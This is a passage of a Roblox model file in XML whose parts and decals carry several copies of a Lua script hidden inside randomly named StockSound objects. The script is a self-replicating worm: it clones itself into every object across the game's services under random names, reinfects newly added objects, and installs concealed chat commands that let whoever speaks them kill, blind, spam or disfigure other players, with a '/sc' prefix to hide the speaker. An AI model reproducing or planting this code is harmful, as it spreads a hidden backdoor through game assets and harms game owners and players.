if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX57">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">wcn84mi</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX58">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">b9gch</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX59">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>27.5</X>
						<Y>1.38991785</Y>
						<Z>-9</Z>
						<R00>3.42285418e-008</R00>
						<R01>-1.69386026e-017</R01>
						<R02>-1</R02>
						<R10>-1.55760392e-017</R10>
						<R11>1</R11>
						<R12>-1.69386042e-017</R12>
						<R20>1</R20>
						<R21>1.55760409e-017</R21>
						<R22>3.42285418e-008</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">0</float>
					<float name="LeftParamB">0</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Torso</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">0</float>
					<float name="RightParamB">0</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>4.55521498e-018</X>
						<Y>-1.00818356e-020</Y>
						<Z>6.82782257e-018</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-6.90289914e-018</X>
						<Y>-0.00453397585</Y>
						<Z>4.51332614e-018</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX60">
					<Properties>
						<token name="Face">5</token>
						<string name="Name">roblox</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX61">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">916t65wz</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX62">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">f1fowz35</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
